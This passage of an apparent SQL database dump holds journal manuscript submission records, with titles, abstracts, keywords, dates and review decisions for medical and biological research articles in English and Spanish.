employments.',3300,NULL,'2021-04-08',NULL,'Submitted',16,NULL,'2021-04-19',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(8123,9292,639,0,NULL,'Taurine or sodium diformate supplementation to a low fishmeal plant-based diet enhanced immunity and muscle cellularity of European sea- bass (Dicentrarchus labrax)',NULL,3,0,'','A feeding trial was carried out to investigate the effects of either taurine (T) or sodium diformate (NDF) supplementation to a low fishmeal (FM) plant-based diet on growth, health status, immunity and muscle cellularity of European seabass, Dicentrarchus labrax. Four diets contained either 46% FM as the control (CTRL), or 20% FM and a mixture of   plant proteins (PMX), complemented or not with 1% T (PMX+T) or 0.3% NDF (PMX+NDF) were fed to juvenile seabass (~14.0 g) for 13 weeks. Major findings suggest that the low-FM/plant-mix diet enriched with either T or NDF can promote growth, normalize physiological conditions and improve the striated muscle structure of fish.','Taurine, Sodium diformate, Muscle ultrastructure',1776,NULL,'2021-04-08',NULL,'Submitted',4,NULL,'2021-04-12',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8124,9292,639,0,NULL,'Taurine / sodium diformate supplementation to a low fishmeal plant-based diet enhanced immunity and muscle cellularity of European sea- bass (Dicentrarchus labrax)',NULL,3,0,'','A feeding trial was carried out to investigate the effects of either taurine (T) or sodium diformate (NDF) supplementation to a low fishmeal (FM) plant-based diet on growth, health status, immunity and muscle cellularity of European seabass, Dicentrarchus labrax. Four diets contained either 46% FM as the control (CTRL), or 20% FM and a mixture of   plant proteins (PMX), complemented or not with 1% T (PMX+T) or 0.3% NDF (PMX+NDF) were fed to juvenile seabass (~14.0 g) for 13 weeks. Major findings suggest that the low-FM/plant-mix diet enriched with either T or NDF can promote growth, normalize physiological conditions and improve the striated muscle structure of fish.','Taurine, Sodium diformate, Muscle ultrastructure',1776,NULL,'2021-04-08',NULL,'Submitted',4,NULL,'2021-04-14',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8135,9305,73,0,'ipjnn-21-8135','IMPACT OF PARENT PROXY REPORTED QUALITY OF LIFE OF CHILDREN WITH CP TO PARENTAL PSYCHOSOCIAL DISTRESS',NULL,14,1,'cerebral palsy','ABSTRACT: Cerebral palsy is a group of non-progressive brain disorders that is caused by damage to the developing brain and impairs movement control and posture.\r\nOBJECTIVE: The aim of this study was to determine the effect of psychosocial parental distress on parental proxy-reported quality of  life of children with Cerebral Palsy.\r\nSETTING: The research was carried out at the Children Hospital and Pakistan Society for the Rehabilitation of Disabled (PSRD) Lahore.\r\nSTUDY DESIGN: Cross sectional study design. \r\nPATIENTS: 131 patients\r\nRESULTS: Results show that all dimensions of quality of life are influenced by psychosocial parental distress.\r\nCONCLUSION: This research concluded that all  parent proxy reported domains reporting  quality of life are highly influenced by parental psychosocial distress, and this parental psychosocial distress was also negatively correlated with QOL reporting by parent proxy. \r\nKEY WORDS: CP  QOL  Psychosocial distress  Parent proxy\r\n\r\n\r\n\r\n\r\n','CEREBRAL PALSY, PARENT PSYCHOSOCIAL DISTRESS',332,NULL,'2021-04-10',NULL,'Submitted',2,NULL,'2021-07-29',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(8139,9309,277,0,'ipadm-21-8139','Terapia física temprana para la prevención del delirio en la unidad de cuidados intensivos',NULL,25,0,'','El delirio es una condición tan común como riesgosa en pacientes hospitalizados, especialmente en aquellos adultos mayores que requieren internación en la unidad de cuidados intensivos, siendo un marcador independiente de mal pronóstico para ellos (Incluyendo muerte hospitalaria, tiempo prolongado de hospitalización, aumento de costos relacionados a la atención y deterioro cognitivo a largo plazo). En la unidad de cuidados intensivos se presenta como una forma aguda de disfunción orgánica, caracterizada por alteración de la conciencia y la cognición que se desarrolla rápidamente y que fluctúa a lo largo del día. Se ha descrito que estrategias no farmacológicas tienen el mayor potencial a la hora de prevenir la aparición de dicha condición, dentro de estas, vale la pena destacar la terapia física temprana pues además de impactar positivamente en la prevención del delirio, mejora la funcionalidad y previene el síndrome de desacondicionamiento del paciente crítico. \r\nEn esta revisión discutiremos el diagnóstico y herramientas clínicas útiles para el mismo, factores de riesgo y el papel de la rehabilitación física en la prevención del delirio.\r\n','Palabras clave: Terapia física, Rehabilitación, Delirio, Medicina crítica, Cuidado intensivo ',2805,NULL,'2021-04-11',NULL,'Submitted',2,NULL,'2021-06-03',NULL,1,1,'0','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(8145,496,45,0,'iphsj-21-8145','The Potential Applications of the Potent Cytotoxic Ansamitocin P-3 in the Treatment of Gastric Carcinoma ',NULL,14,0,'','Gastric carcinoma is a refractory disease that seriously threatens human health globally. Unfortunately, its mortality is still high among common cancers. In order to develop a new type of anti-gastric cancer drug and avoid side effects of traditional chemotheray, a new drug-targeting strategy was considered in our studies. We firstly selected certain classic cytotoxic compounds such as ansamitocin P-3 (AP-3), colchicine and paclitaxel and investigated their efficacy in the suppression of gastric cancer cell growth and tumor growth. We found that these compounds displayed their potent suppressive activities. Particularly, AP-3 showed its significant tumor suppression in xenograft mouse model, and was also observed with its severe side effects. The results supported that AP-3 itself most likely was not druggable, but might be applied for drug conjugates via coupling it to a drug delivery vehicle to enhance its anti-tumor efficacy and reduce its side effects.','Gastric carcinoma, AP-3, drug-targeting, cell proliferation, cell apoptosis, tumor growth.',4076,NULL,'2021-04-12',NULL,'Submitted',2,NULL,'2021-04-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8146,9153,45,0,'iphsj-21-8146','Different Methods of COVID-19 Detection ',NULL,14,0,'','Objective: Explore the performance of different test methods in detecting COVID-19 antibodies and antigens. \r\nMethods: Compare the results of different test methods on samples from novel coronavirus pneumonia patients, and randomly select some of the confirmed samples after gradient dilution to detect the sensitivity of the test products. The sample used for rapid detection of COVID-19 antigen was nasal swab. Three kinds of sample used in the detection of novel coronavirus antibodies were venipuncture/ fingerstick whole blood, serum and plasma.\r\nResults: The detection rate of covid-19 antibody increased with the increase of the onset time of patients, while the detection rate of antigen decreased gradually, which was in line with the nature of antigen and antibody in the human body.\r\nConclusion: In view of the advantages of antibody and antigen detection, such as convenient and sample collection, high throughput, low workload, high reproducibility and low cost, we hope to lay a scientific foundation for the horizontal comparison of the data of products (Abbott, Roche, Healgen, AllTest, Citest, Siemens, Lepu, Wondfo) obtained in the research and practical application of epidemic prevention and control of COVID-19.','COVID-19; rapid test; PCR',643,NULL,'2021-04-12',NULL,'Submitted',2,NULL,'2021-04-28',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8147,9315,73,0,'ipjnn-21-8147','Gerstmann-Straussler-Scheinker disease- A Review',NULL,25,0,'',' Gerstmann-Straussler-Scheinker disease (GSS) is an extremely rare, usually familial, fatal prion disease. Such disease affects our one of the most important part of our body that is responsible for our thoughts and coordination of our sensory information, the Nervous System. Some particular variations in the PNRP gene leading to the atypical shape of the prion protein give rise to this disease. PRNP encodes a protein called prion protein (Prp). We are unaware of its functions but we do know that Prp plays a very significant role in the functioning of the human brain and other parts of the human nervous system. The destruction of neural cells due to the clumping of abnormal proteins is one of the characteristic features of this disease. The continuous deterioration of the section of our brain responsible for the motor control in a human body, the cerebellum, and different degrees of dementia are the main characteristics of GSS. Weakness in the legs, diminished reflexes, cognitive decline, ataxia including slurred speech and reduced coordination, and spasticity are some of the main symptoms seen in a person suffering from GSS. The median survival time from onset to death of GSS patients ranges from two to ten years after its diagnosis. The objective of this paper to gather all the data and information available about this rare disease so that future researchers who are interested in this field can refer to this paper without having to curate it all by themselves saving time and increasing their efficiency towards solving this mystery. We are very behind in the understanding of the pathophysiological processes that underlie this disease. Through this paper, we have analyzed and reviewed all the literature on this topic to summarize what is our current understanding of this disease and the possible treatments to cure it or alleviate its symptoms. Through a thorough literature review, we can conclude that research on this topic has potential. With mostly case reports on this disease, the research for its cure and treatments for alleviating its symptoms are not yet advanced.','Cerebellar ataxia, Prion disease, Gerstmann-Sträussler-Scheinker disease, PRNP gene',334,NULL,'2021-04-12',NULL,'Submitted',2,NULL,'2021-07-28',NULL,1,1,'0','Accept\r\n',0,'','',NULL,0,0,0,NULL,0),(8150,9319,73,0,'ipjnn-21-8150','ELASTOPLASTY: A NEW TECHNIQUE FOR TREATMENT OF OSTEOPOROTIC VERTEBRAL COMPRESSION FRACTURES',NULL,25,0,'','Vertebral compression fractures (VCF) cause significant disability and pain and are usually treated\r\nby vertebroplasty using polymethylmethacrylate (PMMA), which has several drawbacks, including\r\nfractures and exothermic neural damage associated to leakage. VK100 silicone is a new polymer for\r\nvertebroplasty to resolve these disadvantages. It is absorbable, elastic, and does not induce neural\r\ndamage. This study follows the evolution of seventy patients with VCF who received a VK100\r\nelastoplasty. Four patients had asymptomatic silicone leakage, none had neural damage and, at the\r\nend of follow up, there had been no adjacent fractures. Patients reported less pain. We conclude\r\nVK100 is a good option for vertebroplasty to treat osteoporotic spinal compression fractures.','Vertebral compression fractures, elastoplasty, ageing, spine, trauma, vertebroplasty.',4796,NULL,'2021-04-12',NULL,'Submitted',2,NULL,'2021-07-16',NULL,1,1,'0','The article entitled \"ELASTOPLASTY: A NEW TECHNIQUE FOR TREATMENT OF OSTEOPOROTIC VERTEBRAL COMPRESSION FRACTURES\" is a mini-Review which explain the relationship between UA and acute ischemic stroke and subtypes. And found that high UA levels were seen as an independent risk factor for stroke. Determination of UA as an etiological factor responsible for the pathogenesis of vascular diseases including stroke may also bring the treatment of hyperuricemia such as hyperlipidemia or hypertension, which are routinely treated after stroke. With proper tables the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish',0,'','',NULL,0,0,0,NULL,0),(8156,9326,45,0,'iphsj-21-8156','Postnatal  Service Utilization and Associated Factors among Women who gave Birth in the last 12 months prior to Study Period  in Jimma Town, Southwest  Ethiopia',NULL,14,0,'','BACKGROUND: - Postnatal care is care (PNC) given to mother and new born within first 42 days of delivery. Lack of care in this period may result in disability even death of either of mother or newborn or both. The aim of this study was to determine postnatal service utilization and associated factors among women, who gave birth in the last 12 months prior to May, 2019.\r\nMETHODS: Community based cross-sectional study was conducted on 420 women who had given birth prior to May 1 to June 30, 2019(study period). The 17 kebeles of Jimma town is grouped into three similar groups based on occupation of majority of population. Three kebeles were randomly selected from each group. Data was collected using a pretested structured questionnaire. Descriptive statistic, such as frequencies, proportions and means were calculated. In bivariate logistic regression variables with p-value less than 0.25 were selected for multiple logistic analyses and multiple logistic regression was conducted. Finally significantly associated variables were declared at p value less than 0.05.\r\nResult:-This study showed that prevalence of postnatal care utilization was 59.5%. Mothers who knew at least one danger signs which comes after delivery (AOR=11.5,(95%CI:5.56,22.7),who attended ANC (AOR=5.4, 95%CI:2.7,11.3 ), who get counseled  to attend PNC ( AOR=14.9% CI :6.1,31.4),who attended at least primary school (AOR=2.3 ,95% CI:1.75,7.0),who did not travel more than 30 minutes to reach health facility(AOR=6.8,95% CI 3.4, 13.6 and those having more family size  were more likely utilized postnatal service than their counterpart\r\nConclusions: - In this study utilization of postnatal care service was very far behind national target (which is 95% at the end of 2020, health sector transformational plan). Awareness about danger signs, educational status of the mother, counselling to attend to attend postnatal care, distance from health facility and family size were strongly associated with PNC utilization.','Postnatal, Service, Utilization, Jimma, Ethiopia',3202,NULL,'2021-04-13',NULL,'Submitted',2,NULL,'2021-06-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8158,9328,277,0,'ipadm-21-8158','PRESENCIA DE ASCITIS EN PACIENTES ONCOLÓGICOS',NULL,17,0,'','La palabra ascitis viene del griego askos que significa saco/ bolsa peritoneal y cuando ese líquido está asociado a una patología oncológica estamos frente a una ascitis maligna. El Instituto Nacional del Cáncer define la AM como una acumulación de fluido que contiene las células cancerosas en el abdomen [1].\r\nLa ascitis es la presencia de líquido que se ha acumulado en la cavidad peritoneal, este hallazgo es observado en diversas patologías, principalmente en enfermedades hepáticas como complicación y oncológicas. En el que se implica diversos procesos fisiopatológicos [1].\r\nLos pacientes con patologías oncológicas desarrollan ascitis en un 15 a 50%. Los carcinomas que con más frecuencia presentan son; ovario, mama, endometrio, colon, estómago, páncreas y bronquios tienen una alta incidencia de presentarlo [2]. Su patogénesis se debe varios factores los cuales son: elevación de la presión hidrostática, disminución de la presión coloido-osmótica, aumento en la permeabilidad capilar y escape de líquido a la cavidad peritoneal entre otros que no se ha descrito muy bien fisiopatología [2].\r\nLa AM representa un 10% del total de las ascitis. El pronóstico no es favorable para estos pacientes puesto que desde el día 1 del diagnóstico de AM la esperanza de vida es de 20 semanas, aunque para otros autores el tiempo puede ser variable (2 a 6 meses). \r\n','Ascitis maligna\r\nPatología Oncológica ',2805,NULL,'2021-04-13',NULL,'Submitted',14,NULL,'2023-03-28',NULL,1,1,'1','The case can be published.',0,'','',NULL,0,0,0,NULL,0),(8159,9202,277,0,'ipadm-21-8159','Síndrome de McKittrick-Wheelock Como Causa de Hipokalemia Refractaria y Lesión Renal Aguda. Reporte de Caso.',NULL,2,0,'','El Síndrome de McKittrick-Wheelock es una entidad infrecuente caracterizada por diarrea de tipo secretora con alteraciones hidroelectroliticas asociado a la presencia de lesiones tumorales en colon, especialmente de tipo adenoma velloso en recto. Se presenta con estados de deshidratación severa y trastornos hidroelectroliticos prinicipalmente hipokalemia e hiponatremia concomitantemente con acidosis metabolica. El principal mecanismo implicado es la sopreproducción de prostaglandina E2 por las celulas tumorales. La perdida de volumen intravascular puede conllevar a complicaciones como shock hipovolemico y lesion renal aguda. Reportamos el caso de un paciente masculino con cuadro clinico de 15 dias de evolución de diarrea, alteraciones hidroelectroliticas refractarias  y requerimiento de terapia de reemplazo renal con presencia de adenoma velloso en recto y sigmoide.','Síndrome de McKittrick-Wheelock (SMW), adenoma velloso, diarrea secretora, reporte de caso.',2805,NULL,'2021-04-13',NULL,'Submitted',4,NULL,'2021-07-17',NULL,1,1,'0','The article can be published.',0,NULL,NULL,NULL,0,0,0,NULL,0),(8163,9331,639,0,'ipfs-21-8163','mx-g1.tottori@u.ac.gr',NULL,5,1,'FIsh Stock and sustainable yield','   ','  ',1770,NULL,'2021-04-14',NULL,'Submitted',2,NULL,'2021-04-29',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(8169,9337,971,0,'ipaclr-21-8169','Association between Meningococcal Meningitis and Santa Ana Winds in Children and Adolescents from Tijuana, Mexico, a need for Vaccination.',NULL,17,0,'','Background: Based on several previous studies (both regional and national), Tijuana, Baja-California, Mexico (across the border from San Diego, California, USA), has the highest rate of Meningococcal Meningitis (MeM) in the country, the reason for this has not yet been known. In the “African Meningitis Belt”, the Harmattan seasons are associated with MeM outbreaks. The Santa Ana winds (SAW’s) are hot and dry winds (similar to Harmattan seasons) that occur seasonally in southwestern California, USA, and North of Baja-California, Mexico. Our aim was to demonstrate an association of SAW’s with MeM in Tijuana, Baja-California, Mexico, and therefore, may explain the high rate of this disease in the region. Methods and Findings: Based on previous published data obtained from active surveillance of MeM, and a 65 years review showing the occurrence of SAW’s seasons, we estimated the risk ratio (RR) of MeM vs. bacterial non-MeM during seasons with and without SAW’s.This study shows an association of SAWs seasons with MeM, but not with bacterial non-MeM (RR=2.179, 95% CI 1.85 to 2.56), which it may partially explains the high endemicity of this deadly disease in this part of the globe. Conclusion: This study provides more information that justifies universal meningococcal vaccination in Tijuana, Mexico.','Meningococcal meningitis\r\nClimate\r\nWeather\r\nChildren\r\n',3761,NULL,'2021-04-14',NULL,'Submitted',4,NULL,'2021-07-12',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(8170,9337,971,0,'ipaclr-21-8170','Varicella Hospitalizations and Community-Acquired Methicillin-Resistant Staphylococcus aureus: Seven Years of Active Surveillance',NULL,17,0,'Is in fact a regular issue but the platform does not give me that option, this submission is intended for Annals of Clinical and Laboratory Research','Introduction: In Mexico, universal Varicella vaccination is not part of the National Immunization Program. Community-acquired methicillin-resistant Staphylococcus aureus (CA-MRSA) infection is increasing worldwide. CA-MRSA infection in children with Varicella has scarcely been reported. Methods and Findings: From January-2012 to December-2018, we performed active surveillance for children < 16 years of age hospitalized with Varicella at the Tijuana General Hospital, Mexico. To all patients with suspected bacterial superinfection, a culture sampling was conducted. CA-MRSA was described and identified by both in vitro resistance to methicillin and other isoxazolyl penicillins and by identifying the gene mec-A by PCR. A total of 40 patients were enrolled. The median age at admission was 20.5 months (1-190). All but 4 (10%) were previously healthy children. None were vaccinated against Varicella. Cellulitis (with/without abscess) was the leading complication (50%), with 70% CA-MRSA identified in abscesses. Septicemia/bacteremia was present in 10 (25%), blood isolation was confirmed in seven (3 S. aureus (all CA-MRSA), 2 S. pyogenes, 1 S. pneumoniae, 1 E. coli). Conclusions: Hospitalizations by Varicella in our Hospital are not infrequent; they are associated with high morbidity and relatively low mortality. The leading complication was bacterial superinfection represented by soft-tissue infections and bacteremia/septicemia mostly due to CA-MRSA.','Varicella.\r\nMethicillin-resistant Staphylococcus aureus (MRSA).\r\nCommunity-acquired Methicillin-resistant Staphylococcus aureus (CA-MRSA).\r\nVaricella vaccine.\r\nAntibiotic control.',3249,NULL,'2021-04-14',NULL,'Submitted',2,NULL,'2021-06-07',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8171,9338,91,0,'ijddr-21-8171','“Ozonated oil, a novel remedy shows the anticipation for extinction of Methicillin Resistance Staphylococcus aureus (MRSA): a preliminary study ',NULL,14,0,'antimicrobial agents','Burn wounds are generally prone to various types of infection. Bacterial biofilms in particular are the culprit for non-healing wound infection in burns. Most common gram-positive strains are Staphylococcus aureus and Staphylococcus species. Methicillin resistant Staphylococcus aureus (MRSA) infection is a challenging task in clinical practice. At National Burns Centre, a total of 1679 burn patients were treated within six month. Over-all 387 burn wound samples were considered for study among which 261 samples were infected and those includes 152 Pseudomonas aeruginosa, 33 Acinetobacter baumannii, 23 Kocuria kristinae, 22 Klebziella pneumoniae, 12 Candida tropicalis, 9 Methicillin resistant Staphylococcus aureus (MRSA) and  126 samples were having no infections. The bacteriostatic and bactericidal effect of various antibiotics on MRSA such as Ampicillin, Mupiocin have been shown to inhibit the bacterial protein, RNA, DNA synthesis and cell wall formation. Several biologically important chemical groups like silver nitrate solutions, povidone iodine and silver sulfadiazine have excellent in vitro antimicrobial activity. However, many of these fails to abolish infection as they get inactivated by wound exudates and bacteria like Staphylococcus aureus develop resistance (MRSA). The purpose of the study was to identify natural compounds that can be used as remedy for MRSA. Four different compounds such as Shata Dhauta Ghruta, Jatyadi Oil, Oleuropein and Ozonated Oil ware taken for demolition of MRSA growth. Experimental observation showed that only Ozonated oil showed the anti MRSA activity and antimicrobial activity for all MRSA and non-MRSA micro-organisms tested. The results suggest that ozonated oil is a competitive antimicrobial agent that may prompt the setting up of clinical use.','Ozonated oil, Staphylococcus aureus, methicillin resistant Staphylococcus aureus, infection in Burns',4616,NULL,'2021-04-14',NULL,'Submitted',2,NULL,'2021-05-27',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8172,9340,251,0,'ipacm-21-8172','Evaluation of correlations between bladder detrusor overactivity and lower urinary tract infections',NULL,25,0,'','Lower urinary tract infections (LUTIs) are regarded as the most frequent form of bacterial infections and bladder detrusor overactivity (DO) are considered to contribute to the urodynamic characteristic of overactivity bladder (OAB), including urinary urgency, urinary frequency, with or without urgency incontinence (UI), which is common disorder and influences patient\'s health and quality of life. Since 1960s, studies had focused on whether DO is the etiological factors of recurrent LUTIs or the inverse. Although the definite correlation between DO and LUTIs have not been proved, urinary microbiota may play a role in genesis of DO that was found by mounting evidences using enhanced urine culture technique and pathophysiological variations of bladder detrusor facilitates bacterial colonization in bladder urothelium. In the future, clarification of correlation between DO and LUTIs needs more scheduled studies and more researches that link the urinary microbiota with central nervous system (CNS) function to provide accurately information to help us manage the patients more appropriately.','',780,NULL,'2021-04-14',NULL,'Submitted',2,NULL,'2021-05-15',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(8173,9339,45,0,'iphsj-21-8173','Sero-prevalence of IgG and IgA Antisperm Antibodies in Men with Infertility Attending Two Major Hospitals in Zaria, Nigeria',NULL,14,0,'','Background:\r\nAntisperm antibodies (ASA) have been implicated in some male with infertility especially those in which a definite cause could not be found. Also, some studies have attributed a causal relationship to the presence of antisperm antibodies and male infertility. \r\nObjective: \r\nThis study investigated the prevalence of serum antisperm antibodies in men with infertility seen in two Hospitals in Zaria, Nigeria \r\n\r\nMaterials and Methods:\r\nA total of 91 infertile men and 45 fertile men (as controls) were enrolled and follow up for 5 months. Blood samples and semen were collected, processed and analysed for serum IgA and IgG ASA using ELISA kits. \r\nResults: \r\nThe study revealed the sero-prevalence of antisperm antibodies among infertile men in Zaria to be 57.1%, which varied significantly with that of the fertile male (11.1%). The prevalence of IgA and IgG antisperm antibodies were significantly higher in infertile male compared to fertile male (27.5% vs 4.4% for IgA ASA; 53.8% vs 8.9% for IgG ASA). \r\nConclusion: \r\nThe study demonstrated that IgA and IgG ASA are associated with male infertility in Zaria and as such screening for serum antisperm antibodies in the evaluation of men infertility is recommended in our environment.','Antisperm antibodies, male infertility, fertile male, sperm count, Zaria',3202,NULL,'2021-04-14',NULL,'Submitted',2,NULL,'2021-05-28',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8174,9341,86,0,'ipaom-21-8174','COVID-19 vaccine analysis in young adults',NULL,14,0,'','COVID-19 vaccines will be available to kids aged 12 and above soon (Pfizer). Skepticism around the vaccine and its acceptance in young people has not been studied. In February 2021, a Google survey was conducted at a high school to explore this issue. A total of 201 subjects responded. There was around a 50-50 split on whether people were afraid of getting COVID-19 infection. Most (97%) believed vaccines are safe but only 80% were planning on getting COVID-19 vaccine. The largest source of information for respondents was online sources (37%), suggesting that online messaging will probably be most effective for communication with high schoolers. Finally we did not find any correlation between race or parent\'s education that affected the respondents\' opinion on getting the COVID-19 vaccine.','COVID 19, Pandemic, high school vaccine, survey, Coronavirus, adolescents, vaccine hesitancy, ',2890,NULL,'2021-04-15',NULL,'Submitted',2,NULL,'2021-05-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8187,9202,277,0,NULL,'INFECCIÓN POR SARS CoV-2 Y SíNDROME DE GUILLAIN-BARRÉ',NULL,15,0,'','El síndrome de Guillain-Barré es la causa más frecuente de parálisis flácida a nivel mundial, genera una gran carga neuroinmune y provoca clásicamente polineuropatía aguda desmielinizante de etiología multiple. Varios agentes infecciosos han sido relacionados como desencadenantes de su fisiopatología tales como Campylobacter jejuni, haemophylus influenzae, virus del Zika, entre otros; Además, los factores de riesgo ambientales y genéticos podrían influir generando un mayor impacto en la enfermedad. El surgimiento y propagación a nivel mundial del virus emergente de la familia SARS tomó por sorpresa a la comunidad científica, constituyendo un reto para la humanidad. Los coronavirus son importantes patógenos humanos y animales. Se ha relacionado al virus SARS COV-2 con complicaciones neurológicas de manera frecuente en los pacientes hospitalizados, cuando la carga de inmuno-compromiso supone ser mayor, dejando entrever la posible relación entre este agente infeccioso y el síndrome de Guillain-Barré, encontrando algunos reportes y series de casos con tasas que varían según la metodología del estudio y las características de los pacientes. El síndrome de Guillain-barré establece una emergencia neurológica y un gran reto diagnóstico de una enfermedad potencialmente mortal.','Síndrome de Guillain-Barré; Polirradiculoneuropatía Desmielinizante Inflamatoria; Polineuropatía Inflamatoria Aguda, Infecciones por Coronavirus, COVID -19, SARS.',2805,NULL,'2021-04-16',NULL,'Submitted',4,NULL,'2021-04-21',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8190,9357,45,0,NULL,'Treatment and Companion Diagnostics of Lower Back Pain using Self-controlled Energo-Neuro-Adaptive Regulator (SCENAR) and Passive Microwave Radiometry (MWR)',NULL,14,0,'','Evaluation of the effectiveness of treatment of nonspecific pain in the lower back (LBP) is currently largely based on the patient\'s subjective feelings. The purpose of this study was to use passive microwave radiometry (MWR) as a tool for assessing the effectiveness of various treatment methods in patients with acute and subacute nonspecific LBP. Patients with pain assessment on a visual analogue scale (VAS) from 6 to 10 points were divided into 2 groups: Group I included patients with pharmacological, syndrome-oriented treatment (n = 30, age 54.9 ± 2.3 years); Group II is a combination pharmacotherapy with self-controlled energy-neuro-adaptive regulation (SCENAR) (n = 25, age 52.8 ± 2.5 years). The analysis showed that the addition of SCENAR therapy (Group II) significantly potentiated the analgesic effect at the stages of treatment, and after 3 weeks, more than 2 times and was 1.3 points on VAS. There was also a significant decrease in the maximum internal temperature, normalization of the gradient of internal and skin temperatures, and a decrease in thermo-asymmetry, as assessed by temperature fields. Thermal asymmetry visualization allows to identify the area of pathological muscle spasm and/or inflammation in the projection of the vertebral-motor segment for the possible \"targeted\" use of such treatment methods as percutaneous electro neuro stimulation, massage, manual therapy, diagnostic and treatment blocks, etc. The MWR method also avoids unnecessary radiation exposure.','Lower Back Pain, passive microwave radiometry (MWR), transcutaneous electrical neurostimulation (TENS), self-controlled energy-neuro-adaptive regulation.',641,NULL,'2021-04-16',NULL,'Submitted',4,NULL,'2021-04-16',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(8194,9359,45,0,'iphsj-21-8194','Treatment and Companion Diagnostics of Lower Back Pain using Self-controlled Energo-Neuro-Adaptive Regulator (SCENAR) and Passive Microwave Radiometry',NULL,14,0,'','Evaluation of the effectiveness of treatment of nonspecific pain in the lower back (LBP) is currently largely based on the patient\'s subjective feelings. The purpose of this study was to use passive microwave radiometry (MWR) as a tool for assessing the effectiveness of various treatment methods in patients with acute and subacute nonspecific LBP. Patients with pain assessment on a visual analogue scale (VAS) from 6 to 10 points were divided into 2 groups: Group I included patients with pharmacological, syndrome-oriented treatment (n = 30, age 54.9 ± 2.3 years); Group II is a combination pharmacotherapy with self-controlled energy-neuro-adaptive regulation (SCENAR) (n = 25, age 52.8 ± 2.5 years). The analysis showed that the addition of SCENAR therapy (Group II) significantly potentiated the analgesic effect at the stages of treatment, and after 3 weeks, more than 2 times and was 1.3 points on VAS. There was also a significant decrease in the maximum internal temperature, normalization of the gradient of internal and skin temperatures, and a decrease in thermo-asymmetry, as assessed by temperature fields. Thermal asymmetry visualization allows to identify the area of pathological muscle spasm and/or inflammation in the projection of the vertebral-motor segment for the possible \"targeted\" use of such treatment methods as percutaneous electro neuro stimulation, massage, manual therapy, diagnostic and treatment blocks, etc. The MWR method also avoids unnecessary radiation exposure.','Lower Back Pain, passive microwave radiometry (MWR), transcutaneous electrical neurostimulation (TENS), self-controlled energy-neuro-adaptive regulation.',3829,NULL,'2021-04-16',NULL,'Submitted',4,NULL,'2021-06-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8202,8771,91,0,'ijddr-21-8202','HEPATOPROTECTIVE POTENTIAL OF ETHANOLIC LEAF EXTRACT OF PLANT PIPER ATTENUATUM B. HAM & CAESALPINIA CRISTA LINN',NULL,14,0,'','Piper attenuatum B. Ham & Caesalpinia crista Linn are traditional medicinal plants in India. It has been claimed in traditional Indian system of medicine that the phytochemical constituents present in both plants having hepatoprotective activity. So the aim of the present study was to evaluate hepatoprotective potential of ethanolic leaf extract of plant Piper attenuatum B. Ham & Caesalpinia crista Linn. Hepatoprotective potential of ethanolic leaf extract of Piper attenuatum B. Ham & Caesalpinia crista Linn were evaluated by using D-Galactosamine (400mg/kg) induced liver toxicity model in rats. 100mg/kg & 200mg/kg dose selected for evaluation of hepatoprotective potential for both plants. Various biochemical parameters like AST/SGOT, ALT/ SGPT, ALP, Total protein and Serum bilirubin were analyzed for different groups. Liver histopathology was also carried out for various groups. Silymarin (50mg/kg) used as standard drug. Both the plant ethanolic extracts showed significant hepatoprotective potential. Piper attenuatum B. Ham ethanolic extract 200mg/kg showed best hepatoprotective activity among all other groups. From the above study it may be possible that Piperine & flavonoids present in ethanolic leaf extracts of Piper attenuatum B. Ham & Caesalpinia crista Linn respectively responsible for hepatoprotective potential.','Piper attenuatum (B. Ham), Caesalpinia crista Linn, Hepatoprotective activity, D-Galactosamine, Silymarin. \\r\\n\\r\\n',1325,NULL,'2021-04-17',NULL,'Submitted',2,NULL,'2021-05-27',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8205,8733,277,0,NULL,'Aspergilosis invasiva subaguda en paciente con hipercortisolismo endógeno.',NULL,2,0,'','Las infecciones por hongos en pacientes con hipercortisolismo es una de las complicaciones más graves en este grupo de pacientes. El exceso de esteroides endógenos predispone al hospedero a una disminución de la respuesta inmune innata y adaptativa favoreciendo la invasión tisular fúngica. En este reporte presentamos un caso de aspergilosis invasiva subaguda en un paciente con antecedentes de hipercortisolismo dependiente de ACTH.','Aspergilosis pulmonar invasiva, Síndrome de Cushing, inmunosupresión.',2805,NULL,'2021-04-18',NULL,'Submitted',4,NULL,'2021-04-21',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8208,9373,73,0,'ipjnn-21-8208','Safety of Endovascular Thrombectomy in Anticoagulated Patients with Acute Ischaemic Stroke: A Systematic Review and Meta-Analysis',NULL,15,0,'','Intravenous tissue plasminogen activator (IV-tPA) is first line treatment for acute ischaemic stroke (AIS). After AIS, many patients are anticoagulated, which is a contraindication to IV-tPA. Endovascular thrombectomy (EVT) provides an alternative treatment for AIS patients who have contraindications for IV-tPA. Limited data exists regarding the safety of EVT in anticoagulated patients. We aim to determine the safety of EVT in anticoagulated patients through comparing the rates of symptomatic intracranial haemorrhage (sICH) in anticoagulated and non-anticoagulated patients. Furthermore, we aim to compare differences in functional outcome and mortality after EVT in both patient groups. A meta-analysis of 10 studies was performed to assess the risk of developing sICH in anticoagulated patients who underwent EVT to treat AIS. Odds ratios and 95% confidence intervals were 